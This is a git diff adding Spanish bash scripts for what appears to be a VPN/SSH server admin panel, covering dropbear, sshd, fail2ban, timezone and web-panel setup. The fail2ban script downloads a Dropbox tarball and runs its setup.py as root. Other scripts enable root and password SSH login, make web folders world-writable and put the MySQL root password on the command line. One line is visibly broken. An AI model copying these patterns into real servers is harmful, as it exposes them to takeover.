+DROPBEAR_EXTRA_ARGS="VAR" +DROPBEAR_BANNER="/etc/dropbear/banner" +DROPBEAR_RECEIVE_WINDOW=65536 +EOF +for dpts in $(echo $PORT); do +sed -i "s/VAR/-p $dpts VAR/g" /etc/default/dropbear +done +sed -i "s/VAR//g" /etc/default/dropbear +} || { +echo -e "Port 22 +Protocol 2 +KeyRegenerationInterval 3600 +ServerKeyBits 1024 +SyslogFacility AUTH +LogLevel INFO +LoginGraceTime 120 +PermitRootLogin yes +StrictModes yes +RSAAuthentication yes +PubkeyAuthentication yes +IgnoreRhosts yes +RhostsRSAAuthentication no +HostbasedAuthentication no +PermitEmptyPasswords no +ChallengeResponseAuthentication no +PasswordAuthentication yes +X11Forwarding yes +X11DisplayOffset 10 +PrintMotd no +PrintLastLog yes +TCPKeepAlive yes +#UseLogin no +AcceptEnv LANG LC_* +Subsystem sftp /usr/lib/openssh/sftp-server +UsePAM yes" > /etc/ssh/sshd_config +echo -e "${cor[2]} $(fun_trans "Instalando dropbear")" +echo -e "$barra" +fun_bar "apt-get install dropbear -y" +touch /etc/dropbear/banner +echo -e "$barra" +echo -e "${cor[2]} $(fun_trans "Configurando dropbear")" +cat < /etc/default/dropbear +NO_START=0 +DROPBEAR_EXTRA_ARGS="VAR" +DROPBEAR_BANNER="/etc/dropbear/banner" +DROPBEAR_RECEIVE_WINDOW=65536 +EOF +for dpts in $(echo $PORT); do +sed -i "s/VAR/-p $dpts VAR/g" /etc/default/dropbear +done +sed -i "s/VAR//g" /etc/default/dropbear +} +fun_eth +service ssh restart > /dev/null 2>&1 +service dropbear restart > /dev/null 2>&1 +echo -e "${cor[3]} $(fun_trans "Su dropbear ha sido configurado con exito")\n$barra" +#UFW +for ufww in $(mportas|awk '{print $2}'); do +ufw allow $ufww > /dev/null 2>&1 +done +} +fun_dropbear diff --git a/ADM-VENTAS-LEALDROID/request/errormanager.sh b/ADM-VENTAS-LEALDROID/request/errormanager.sh new file mode 100644 index 0000000..8889fdd --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/errormanager.sh @@ -0,0 +1,113 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 + +SCPdir="/etc/newadm" +SCPusr="${SCPdir}/ger-user" +SCPfrm="/etc/ger-frm" +SCPfrm3="/etc/adm-lite" +SCPinst="/etc/ger-inst" +SCPidioma="${SCPdir}/idioma" + +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;35m" [3]="\033[1;32m" [4]="\033[1;31m" [5]="\033[1;33m" [6]="\E[44;1;37m" [7]="\E[41;1;37m" ) +barra="\033[0m\e[31m======================================================\033[1;37m" +SCPdir="/etc/newadm" && [[ ! -d ${SCPdir} ]] && exit 1 +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +SCPidioma="${SCPdir}/idioma" && [[ ! -e ${SCPidioma} ]] && touch ${SCPidioma} + +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m##" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +elimi_dropbear () { +msg -bar +msg -ama " $(fun_trans "CORRIGIENDO ERRORES DROPBEAR")" +msg -bar +service dropbear stop +apt-get remove dropbear -y +apt-get purge dropbear -y +rm -rf /etc/default/dropbear +msg -bar +msg -ama " $(fun_trans "PUERTOS COREGIDAS DROPBEAR")" +msg -bar +} + +corre_squid () { +msg -bar +msg -ama " $(fun_trans "CORRIGIENDO LOS PUERTOS SQUID")" +msg -bar +apt-get remove squid -y +apt-get purge squid -y +rm -rf /etc/squid +msg -bar +msg -ama " $(fun_trans "ELIMINANDO PUERTOS SQUI3")" +msg -bapt-get remove squid3 -y +apt-get purge squid3 -y +rm -rf /etc/squid3 +msg -bar +msg -ama " $(fun_trans "PUERTOS SQUID CORREGIDAS")" +msg -bar +} +ssl_del () { +msg -bar +msg -ama " $(fun_trans "ELIMINANDO PUERTOS SSL")" +msg -bar +service stunnel4 stop +apt-get remove stunnel4 -y +apt-get purge stunnel4 -y +rm -rf /etc/stunnel/stunnel.conf +rm -rf /etc/default/stunnel4 +rm -rf /etc/stunnel/stunnel.pem +msg -bar +msg -ama " $(fun_trans "LOS PUERTOS SSL SEAN DETENIDO CON EXITO")" +msg -bar +} +corregir_fun () { +echo -e " \033[1;36m $(fun_trans "CORREGIR PUERTOS DROPBEAR,SQUID,SSL") \033[1;32m[NEW-ADM]" +echo -e "$barra" +while true; do +echo -e "${cor[4]} [1] > ${cor[5]}$(fun_trans "CORREGIR ERROR DE DROPBEAR")" +echo -e "${cor[4]} [2] > ${cor[5]}$(fun_trans "CORREGIR ERROR SQUID")" +echo -e "${cor[4]} [3] > ${cor[5]}$(fun_trans "ELIMINAR PUERTOS SSL")" +echo -e "${cor[4]} [4] > ${cor[0]}$(fun_trans "SALIR")" +echo -e "${cor[4]} [0] > ${cor[0]}$(fun_trans "VOLVER")\n${barra}" +while [[ ${opx} != @(0|[1-4]) ]]; do +echo -ne "${cor[0]}$(fun_trans "Digite una Opcion"): \033[1;37m" && read opx +tput cuu1 && tput dl1 +done +case $opx in + 0) + menu;; + 1) + elimi_dropbear + break;; + 2) + corre_squid + break;; + 3) + ssl_del + break;; + 4) + exit;; + +esac +done +} +corregir_fun \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/fai2ban.sh b/ADM-VENTAS-LEALDROID/request/fai2ban.sh new file mode 100644 index 0000000..3452a4a --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/fai2ban.sh @@ -0,0 +1,419 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;31m" [3]="\033[1;33m" [4]="\033[1;32m" ) +barra="\033[0m\e[34m======================================================\033[1;37m" +SCPfrm="/etc/ger-frm" && [[ ! -d ${SCPfrm} ]] && exit +SCPinst="/etc/ger-inst" && [[ ! -d ${SCPinst} ]] && exit +[[ -z $1 ]] && exit || id=$1 +pid_fail=$(dpkg -l | grep fail2ban | grep ii) +apache=$(dpkg -l | grep apache2 | grep ii) +squid=$(dpkg -l | grep squid | grep ii) +dropbear=$(dpkg -l | grep dropbear | grep ii) +openssh=$(dpkg -l | grep openssh | grep ii) +[[ "$openssh" != "" ]] && s1="ssh" +[[ "$squid" != "" ]] && s2="squid" +[[ "$dropbear" != "" ]] && s3="dropbear" +[[ "$apache" != "" ]] && s4="apache" +echo -e "${cor[5]} $(fun_trans "Este Es Fail2ban Protection")" +echo -e "${cor[5]} $(fun_trans "Excelente para proteger contra ataques de DDos")" +echo -e "$barra" +if [[ ! -z "$pid_fail" ]]; then + echo -e "${cor[2]} [1] >${cor[5]} $(fun_trans "Desinstalar Fail2ban")" + echo -e "${cor[2]} [2] >${cor[5]} $(fun_trans "Mirar el registro")" + echo -e "${barra}" + while [[ -z ${logxyz} || ${logxyz} != @(1|2) ]]; do + echo -ne "\033[1;37m$(fun_trans "Seleccione la opcion"): " && read logxyz + tput cuu1 && tput dl1 + done + case ${logxyz} in + 1)apt-get remove fail2ban -y &> /dev/null;; + 2)cat /var/log/fail2ban.log;; + esac +exit 0 +fi +echo -e "${cor[5]} $(fun_trans "Desea Instalar Fail2ban?")" +echo -e "$barra" + while [[ -z ${fail2ban} || ${fail2ban} != @(s|S|n|N|y|Y) ]]; do + echo -ne "\033[1;37m$(fun_trans "Seleccione la opcion") [S/N]: " && read fail2ban + tput cuu1 && tput dl1 + done +if [[ "$fail2ban" = @(s|S|y|Y) ]]; then +apt-get install fail2ban -y &> /dev/null +wget -O $HOME/fail2ban https://www.dropbox.com/s/qtz4aihjnwpth7y/fail2ban-0.9.4.tar.gz?dl=0 &> /dev/null +tar -xf $HOME/fail2ban &> /dev/null +cd $HOME/fail2ban-0.9.4 &> /dev/null +python ./setup.py install &> /dev/null +echo '[INCLUDES] +before = paths-debian.conf +[DEFAULT] +ignoreip = 127.0.0.1/8 +# ignorecommand = /path/to/command +ignorecommand = +bantime = 1036800 +findtime = 3600 +maxretry = 5 +backend = auto +usedns = warn +logencoding = auto +enabled = false +filter = %(__name__)s +destemail = root@localhost +sender = root@localhost +mta = sendmail +protocol = tcp +chain = INPUT +port = 0:65535 +fail2ban_agent = Fail2Ban/%(fail2ban_version)s +banaction = iptables-multiport +banaction_allports = iptables-allports +action_ = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] +action_mw = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] + %(mta)s-whois[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", protocol="%(protocol)s", chain="%(chain)s"] +action_mwl = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] + %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"] +action_xarf = %(banaction)s[name=%(__name__)s, bantime="%(bantime)s", port="%(port)s", protocol="%(protocol)s", chain="%(chain)s"] + xarf-login-attack[service=%(__name__)s, sender="%(sender)s", logpath=%(logpath)s, port="%(port)s"] +action_cf_mwl = cloudflare[cfuser="%(cfemail)s", cftoken="%(cfapikey)s"] + %(mta)s-whois-lines[name=%(__name__)s, sender="%(sender)s", dest="%(destemail)s", logpath=%(logpath)s, chain="%(chain)s"] +action_blocklist_de = blocklist_de[email="%(sender)s", service=%(filter)s, apikey="%(blocklist_de_apikey)s", agent="%(fail2ban_agent)s"] +action_badips = badips.py[category="%(__name__)s", banaction="%(banaction)s", agent="%(fail2ban_agent)s"] +action_badips_report = badips[category="%(__name__)s", agent="%(fail2ban_agent)s"] +action = %(action_)s' > /etc/fail2ban/jail.local +echo -e "${cor[5]} $(fun_trans "Fail2ban será activo en los siguientes puertos y servicios"):" +echo -e "${barra}" +[ "$s1" != "" ] && echo -ne " $s1" +[ "$s2" != "" ] && echo -ne " $s2" +[ "$s3" != "" ] && echo -ne " $s3" +[ "$s4" != "" ] && echo -ne " $s4" +echo -e "\n${barra}" +sleep 1 +if [[ "$s1" != "" ]]; then +echo '[sshd] +enabled = true +port = ssh +logpath = %(sshd_log)s +backend = %(sshd_backend)s +[sshd-ddos] +enabled = true +port = ssh +logpath = %(sshd_log)s +backend = %(sshd_backend)s' >> /etc/fail2ban/jail.local +else +echo '[sshd] +port = ssh +logpath = %(sshd_log)s +backend = %(sshd_backend)s +[sshd-ddos] +port = ssh +logpath = %(sshd_log)s +backend = %(sshd_backend)s' >> /etc/fail2ban/jail.local +fi +if [[ "$s2" != "" ]]; then +echo '[squid] +enabled = true +port = 80,443,3128,8080 +logpath = /var/log/squid/access.log' >> /etc/fail2ban/jail.local +else +echo '[squid] +port = 80,443,3128,8080 +logpath = /var/log/squid/access.log' >> /etc/fail2ban/jail.local +fi +if [[ "$s3" != "" ]]; then +echo '[dropbear] +enabled = true +port = ssh +logpath = %(dropbear_log)s +backend = %(dropbear_backend)s' >> /etc/fail2ban/jail.local +else +echo '[dropbear] +port = ssh +logpath = %(dropbear_log)s +backend = %(dropbear_backend)s' >> /etc/fail2ban/jail.local +fi +if [[ "$s4" != "" ]]; then +echo '[apache-auth] +enabled = true +port = http,https +logpath = %(apache_error_log)s' >> /etc/fail2ban/jail.local +else +echo '[apache-auth] +port = http,https +logpath = %(apache_error_log)s' >> /etc/fail2ban/jail.local +fi +echo '[selinux-ssh] +port = ssh +logpath = %(auditd_log)s +[apache-badbots] +port = http,https +logpath = %(apache_access_log)s +bantime = 172800 +maxretry = 1 +[apache-noscript] +port = http,https +logpath = %(apache_error_log)s +[apache-overflows] +port = http,https +logpath = %(apache_error_log)s +maxretry = 2 +[apache-nohome] +port = http,https +logpath = %(apache_error_log)s +maxretry = 2 +[apache-botsearch] +port = http,https +logpath = %(apache_error_log)s +maxretry = 2 +[apache-fakegooglebot] +port = http,https +logpath = %(apache_access_log)s +maxretry = 1 +ignorecommand = %(ignorecommands_dir)s/apache-fakegooglebot +[apache-modsecurity] +port = http,https +logpath = %(apache_error_log)s +maxretry = 2 +[apache-shellshock] +port = http,https +logpath = %(apache_error_log)s +maxretry = 1 +[openhab-auth] +filter = openhab +action = iptables-allports[name=NoAuthFailures] +logpath = /opt/openhab/logs/request.log +[nginx-http-auth] +port = http,https +logpath = %(nginx_error_log)s +[nginx-limit-req] +port = http,https +logpath = %(nginx_error_log)s +[nginx-botsearch] +port = http,https +logpath = %(nginx_error_log)s +maxretry = 2 +[php-url-fopen] +port = http,https +logpath = %(nginx_access_log)s + %(apache_access_log)s +[suhosin] +port = http,https +logpath = %(suhosin_log)s +[lighttpd-auth] +port = http,https +logpath = %(lighttpd_error_log)s +[roundcube-auth] +port = http,https +logpath = %(roundcube_errors_log)s +[openwebmail] +port = http,https +logpath = /var/log/openwebmail.log +[horde] +port = http,https +logpath = /var/log/horde/horde.log +[groupoffice] +port = http,https +logpath = /home/groupoffice/log/info.log +[sogo-auth] +port = http,https +logpath = /var/log/sogo/sogo.log +[tine20] +logpath = /var/log/tine20/tine20.log +port = http,https +[drupal-auth] +port = http,https +logpath = %(syslog_daemon)s +backend = %(syslog_backend)s +[guacamole] +port = http,https +logpath = /var/log/tomcat*/catalina.out +[monit] +#Ban clients brute-forcing the monit gui login +port = 2812 +logpath = /var/log/monit +[webmin-auth] +port = 10000 +logpath = %(syslog_authpriv)s +backend = %(syslog_backend)s +[froxlor-auth] +port = http,https +logpath = %(syslog_authpriv)s +backend = %(syslog_backend)s +[3proxy] +port = 3128 +logpath = /var/log/3proxy.log +[proftpd] +port = ftp,ftp-data,ftps,ftps-data +logpath = %(proftpd_log)s +backend = %(proftpd_backend)s +[pure-ftpd] +port = ftp,ftp-data,ftps,ftps-data +logpath = %(pureftpd_log)s +backend = %(pureftpd_backend)s +[gssftpd] +port = ftp,ftp-data,ftps,ftps-data +logpath = %(syslog_daemon)s +backend = %(syslog_backend)s +[wuftpd] +port = ftp,ftp-data,ftps,ftps-data +logpath = %(wuftpd_log)s +backend = %(wuftpd_backend)s +[vsftpd] +port = ftp,ftp-data,ftps,ftps-data +logpath = %(vsftpd_log)s +[assp] +port = smtp,465,submission +logpath = /root/path/to/assp/logs/maillog.txt +[courier-smtp] +port = smtp,465,submission +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[postfix] +port = smtp,465,submission +logpath = %(postfix_log)s +backend = %(postfix_backend)s +[postfix-rbl] +port = smtp,465,submission +logpath = %(postfix_log)s +backend = %(postfix_backend)s +maxretry = 1 +[sendmail-auth] +port = submission,465,smtp +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[sendmail-reject] +port = smtp,465,submission +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[qmail-rbl] +filter = qmail +port = smtp,465,submission +logpath = /service/qmail/log/main/current +[dovecot] +port = pop3,pop3s,imap,imaps,submission,465,sieve +logpath = %(dovecot_log)s +backend = %(dovecot_backend)s +[sieve] +port = smtp,465,submission +logpath = %(dovecot_log)s +backend = %(dovecot_backend)s +[solid-pop3d] +port = pop3,pop3s +logpath = %(solidpop3d_log)s +[exim] +port = smtp,465,submission +logpath = %(exim_main_log)s +[exim-spam] +port = smtp,465,submission +logpath = %(exim_main_log)s +[kerio] +port = imap,smtp,imaps,465 +logpath = /opt/kerio/mailserver/store/logs/security.log +[courier-auth] +port = smtp,465,submission,imap3,imaps,pop3,pop3s +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[postfix-sasl] +port = smtp,465,submission,imap3,imaps,pop3,pop3s +logpath = %(postfix_log)s +backend = %(postfix_backend)s +[perdition] +port = imap3,imaps,pop3,pop3s +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[squirrelmail] +port = smtp,465,submission,imap2,imap3,imaps,pop3,pop3s,http,https,socks +logpath = /var/lib/squirrelmail/prefs/squirrelmail_access_log +[cyrus-imap] +port = imap3,imaps +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[uwimap-auth] +port = imap3,imaps +logpath = %(syslog_mail)s +backend = %(syslog_backend)s +[named-refused] +port = domain,953 +logpath = /var/log/named/security.log +[nsd] +port = 53 +action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] + %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] +logpath = /var/log/nsd.log +[asterisk] +port = 5060,5061 +action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] + %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] + %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"] +logpath = /var/log/asterisk/messages +maxretry = 10 +[freeswitch] +port = 5060,5061 +action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] + %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] + %(mta)s-whois[name=%(__name__)s, dest="%(destemail)s"] +logpath = /var/log/freeswitch.log +maxretry = 10 +[mysqld-auth] +port = 3306 +logpath = %(mysql_log)s +backend = %(mysql_backend)s +[recidive] +logpath = /var/log/fail2ban.log +banaction = %(banaction_allports)s +bantime = 604800 ; 1 week +findtime = 86400 ; 1 day +[pam-generic] +banaction = %(banaction_allports)s +logpath = %(syslog_authpriv)s +backend = %(syslog_backend)s +[xinetd-fail] +banaction = iptables-multiport-log +logpath = %(syslog_daemon)s +backend = %(syslog_backend)s +maxretry = 2 +[stunnel] +logpath = /var/log/stunnel4/stunnel.log +[ejabberd-auth] +port = 5222 +logpath = /var/log/ejabberd/ejabberd.log +[counter-strike] +logpath = /opt/cstrike/logs/L[0-9]*.log +# Firewall: http://www.cstrike-planet.com/faq/6 +tcpport = 27030,27031,27032,27033,27034,27035,27036,27037,27038,27039 +udpport = 1200,27000,27001,27002,27003,27004,27005,27006,27007,27008,27009,27010,27011,27012,27013,27014,27015 +action = %(banaction)s[name=%(__name__)s-tcp, port="%(tcpport)s", protocol="tcp", chain="%(chain)s", actname=%(banaction)s-tcp] + %(banaction)s[name=%(__name__)s-udp, port="%(udpport)s", protocol="udp", chain="%(chain)s", actname=%(banaction)s-udp] +[nagios] +logpath = %(syslog_daemon)s ; nrpe.cfg may define a different log_facility +backend = %(syslog_backend)s +maxretry = 1 +[directadmin] +logpath = /var/log/directadmin/login.log +port = 2222 +[portsentry] +logpath = /var/lib/portsentry/portsentry.history +maxretry = 1 +[pass2allow-ftp] +# this pass2allow example allows FTP traffic after successful HTTP authentication +port = ftp,ftp-data,ftps,ftps-data +# knocking_url variable must be overridden to some secret value in filter.d/apache-pass.local +filter = apache-pass +# access log of the website with HTTP auth +logpath = %(apache_access_log)s +blocktype = RETURN +returntype = DROP +bantime = 3600 +maxretry = 1 +findtime = 1 +[murmur] +port = 64738 +action = %(banaction)s[name=%(__name__)s-tcp, port="%(port)s", protocol=tcp, chain="%(chain)s", actname=%(banaction)s-tcp] + %(banaction)s[name=%(__name__)s-udp, port="%(port)s", protocol=udp, chain="%(chain)s", actname=%(banaction)s-udp] +logpath = /var/log/mumble-server/mumble-server.log +[screensharingd] +logpath = /var/log/system.log +logencoding = utf-8 +[haproxy-http-auth] +logpath = /var/log/haproxy.log' >> /etc/fail2ban/jail.local +[[ -e $HOME/fail2ban ]] && rm $HOME/fail2ban +[[ -d $HOME/fail2ban-0.9.4 ]] && rm -rf $HOME/fail2ban-0.9.4 +service fail2ban restart +fi diff --git a/ADM-VENTAS-LEALDROID/request/hora.sh b/ADM-VENTAS-LEALDROID/request/hora.sh new file mode 100644 index 0000000..3d9f845 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/hora.sh @@ -0,0 +1,85 @@ +#!/bin/bash +declare -A cor=( [0]="\033[1;37m" [1]="\033[1;34m" [2]="\033[1;35m" [3]="\033[1;32m" [4]="\033[1;31m" [5]="\033[1;33m" [6]="\E[44;1;37m" [7]="\E[41;1;37m" ) +barra="\033[0m\e[31m======================================================\033[1;37m" +fun_bar () { +comando="$1" + _=$( +$comando > /dev/null 2>&1 +) & > /dev/null +pid=$! +while [[ -d /proc/$pid ]]; do +echo -ne " \033[1;33m[" + for((i=0; i<10; i++)); do + echo -ne "\033[1;31m##" + sleep 0.2 + done +echo -ne "\033[1;33m]" +sleep 1s +echo +tput cuu1 && tput dl1 +done +echo -e " \033[1;33m[\033[1;31m####################\033[1;33m] - \033[1;32m100%\033[0m" +sleep 1s +} +act_hora () { +echo "America/Chihuahua" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Chihuahua /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -e "$barra" +menu +} +act_hora1 () { +echo "America/Mexico_City" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Mexico_City /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -e "$barra" +menu +} +act_hora2 () { +echo "America/Hermosillo" > /etc/timezone +ln -fs /usr/share/zoneinfo/America/Hermosillo /etc/localtime > /dev/null 2>&1 +dpkg-reconfigure --frontend noninteractive tzdata > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]" +echo -e "$barra" +menu +} +act_hora3 () { +timedatectl > /dev/null 2>&1 +timedatectl list-timezones > /dev/null 2>&1 +timedatectl list-timezones | grep Santiago > /dev/null 2>&1 +timedatectl set-timezone America/Santiago > /dev/null 2>&1 +echo -e "$barra" +menu +} +shadowe_fun () { +echo -e " \033[1;36m $(fun_trans "ZONA HORARIO") \033[1;32m[NEW-ADM]" +echo -e "$barra" +while true; do +echo -e "${cor[4]} [1] > ${cor[5]}$(fun_trans "ACTUALIZAR HORARIO CHICHUAHUA")" +echo -e "${cor[4]} [2] > ${cor[5]}$(fun_trans "ACTUALIZAR HORARIO MEXICO")" +echo -e "${cor[4]} [3] > ${cor[5]}$(fun_trans "ACTUALIZAR HORARIO HERMOSILLO")" +echo -e "${cor[4]} [4] > ${cor[5]}$(fun_trans "ACTUALIZAR HORARIO AMERICA/SANTIAGO")" +echo -e "${cor[4]} [0] > ${cor[0]}$(fun_trans "SALIR")\n${barra}" +while [[ ${opx} != @(0|[1-4]) ]]; do +echo -ne "${cor[0]}$(fun_trans "Digite una Opcion"): \033[1;37m" && read opx +tput cuu1 && tput dl1 +done +case $opx in + 0) + exit;; + 1) + act_hora + break;; + 2) + act_hora1 + break;; + 3) + act_hora2 + break;; + 4) + act_hora3 + break;; + +esac +done +} +shadowe_fun \ No newline at end of file diff --git a/ADM-VENTAS-LEALDROID/request/htop.sh b/ADM-VENTAS-LEALDROID/request/htop.sh new file mode 100644 index 0000000..efecde7 --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/htop.sh @@ -0,0 +1,17 @@ +#!/bin/bash +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +clear +cowsay -f eyes "con esta herramienta puedes verificar los procesos del sistema...." | lolcat +figlet ..dankelthaher.. | lolcat +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +echo -e "\033[47;31mATENCION: \033[1;34m LA INSTALACION PUEDE DEMORAR UNOS MINUTOS\033[1;31m\033[0m" +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +apt-get install htop > /dev/null 2>&1 +sleep 4s +echo -e "\033[1;31mPARA SALIR DEL PANEL PRESIONE CTLR+C \e[0m" +sleep 5s +echo -e "\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" + +htop + diff --git a/ADM-VENTAS-LEALDROID/request/insta_painel b/ADM-VENTAS-LEALDROID/request/insta_painel new file mode 100644 index 0000000..906c06c --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/insta_painel @@ -0,0 +1,93 @@ +#!/bin/bash +ve="\033[1;32m";am="\033[1;33m";ver="\033[1;31m";az="\033[1;36m";f="\033[0m" + +meu_ip () { +MEU_IP=$(ip addr | grep 'inet' | grep -v inet6 | grep -vE '127\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | grep -o -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | head -1) +MEU_IP2=$(wget -qO- ipv4.icanhazip.com) +[[ "$MEU_IP" != "$MEU_IP2" ]] && ip="$MEU_IP2" || ip="$MEU_IP" +} +meu_ip +Block="/etc/bin" && [[ ! -d ${Block} ]] && exit +Block > /dev/null 2>&1 +BARRA="\e[0;31m➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖➖\e[0m" +clear +cowsay -f eyes "esta herramienta crea un panel en el cual deves de subir servers para que los demas usuarios descarguen.." | lolcat +figlet ..dankelthaher.. | lolcat +sleep 2 +echo -e "$BARRA" +echo -e "${ver} +++++ ATENCION +++++${am} " +echo -e "$BARRA" +echo -e "TODAS LAS CONTRASENAS A SEGUIR COLOCAR SIEMPRE LA MISMA${f}" +echo -e "$BARRA" +read -p "Enter, Para Continuar!" +echo -e "$BARRA" +apt-get install php5 libapache2-mod-php5 php5-mcrypt -y +apt-get install mysql-server php5-mysql -y +mysql_install_db +echo "" +echo -e "${am}Siempre que se le solicite${ver}[Y/N]${am}elija la opcion${ver}Y${am} y presione ${ve}OK.${am} para todo lo que pide la instalacion!" +echo -e "$BARRA" +echo -e "${am}El siguiente procedimiento de instalacion te va a pedir una contrasena, escriba la contrasena que escribio antes y reconfirmala y despues solo ir presionando ${ver}Y${f}" +echo -e "$BARRA" +read -p "Enter, Para Continuar!" +mysql_secure_installation +echo -e "${az}ESPERE INSTALANDO LOS PAQUETES NECESARIOS${f}" +sleep 2 +apt-get install phpmyadmin -y +php5enmod mcrypt +service apache2 restart +echo "" +stty -echo +tput setaf 7 ; tput bold ; read -p "Introduzca la misma contrasena (MySQL Password): " var7 ; tput sgr0 +echo "" +echo -e "$BARRA" +stty echo ; echo +mysql -h localhost -u root -p$var7 -e "CREATE DATABASE adm" +echo -e "${ver}ATENCION - LOGIN Y CONTRASENA A SEGUIR ES PERSONAL NO DIVULGUEN ${f}" +echo -e "$BARRA" +echo "" +echo -e "${am}Ahora vamos a poner un LOGIN y CONTRASENA de acceso a la pagina de carga${ve}" +echo -e "$BARRA" + read -p "Login: " var2 + read -p "Senha: " var3 + echo -ne "${f}" + +cd /var/www/ + rm -rf index.html > /dev/null 2>&1 + cp /etc/adm-lite/painel.zip /var/www/ + unzip painel.zip > /dev/null 2>&1 + rm -rf painel.zip > /dev/null 2>&1 + chmod -R 777 /var/www/adm > /dev/null 2>&1 +sed -i "s;123;$var7;g" /var/www/adm/system/seguranca.php > /dev/null 2>&1 + +cd /var/www/html/ + rm -rf index.html > /dev/null 2>&1 + cp /etc/adm-lite/painel.zip /var/www/html/ + unzip painel.zip > /dev/null 2>&1 + rm -rf painel.zip > /dev/null 2>&1 + chmod -R 777 /var/www/html/adm > /dev/null 2>&1 +sed -i "s;123;$var7;g" /var/www/html/adm/system/seguranca.php > /dev/null 2>&1 + +[[ ! -d /var/www/temp ]] && mkdir /var/www/temp +cd /var/www/temp && cp /etc/adm-lite/dados.zip /var/www/temp/ +unzip dados.zip > /dev/null 2>&1 + +sed -i "s;adm123;$var2;g" ./banco_de_dados.sql > /dev/null 2>&1 +sed -i "s;adm4321;$var3;g" ./banco_de_dados.sql > /dev/null 2>&1 + +mysql -h localhost -u root -p$var7 adm < banco_de_dados.sql > /dev/null 2>&1 +rm -rf /var/www/temp +echo -e "$BARRA" +echo -e "${am}PANEL DE CARGA DE ACM INSTALADO PARA ENTRAR EN SU PANEL ACCESSE${az} + +"${ver}Url: ${ve}$ip:81/login.php +echo -e "${am}Login: ${ve}$var2 +"${am}Contrasena: ${ve}$var3 +echo -e "${am}LINK PAGINA INICIAL ${ve}( $ip:81 ) +${az}-------------------------------------------------------------------${f}" +echo -e "${am}" +read -p "Presione ENTER, Para continuar" naoa +sleep 2 +echo -e "${f}" +exit + diff --git a/ADM-VENTAS-LEALDROID/request/lista-arq b/ADM-VENTAS-LEALDROID/request/lista-arq new file mode 100644 index 0000000..00a719a --- /dev/null +++ b/ADM-VENTAS-LEALDROID/request/lista-arq @@ -0,0 +1,54 @@ +menu +usercodes +message.txt +sockspy.sh +POpen.py +PPriv.py +PPub.py +PDirect.py +PGet.py +dropbear.sh +openvpn.sh +ssl.sh +ssld.sh +sslmanager.sh +squid.sh +errormanager.sh +shadown.sh +shadowsock.sh +shadowsocks.sh +ssrrmu.sh +v2ray.sh +vdoray.sh +ports.sh +ADMbot.sh +speedtest.py +speed.sh +utils.sh +apacheon.sh 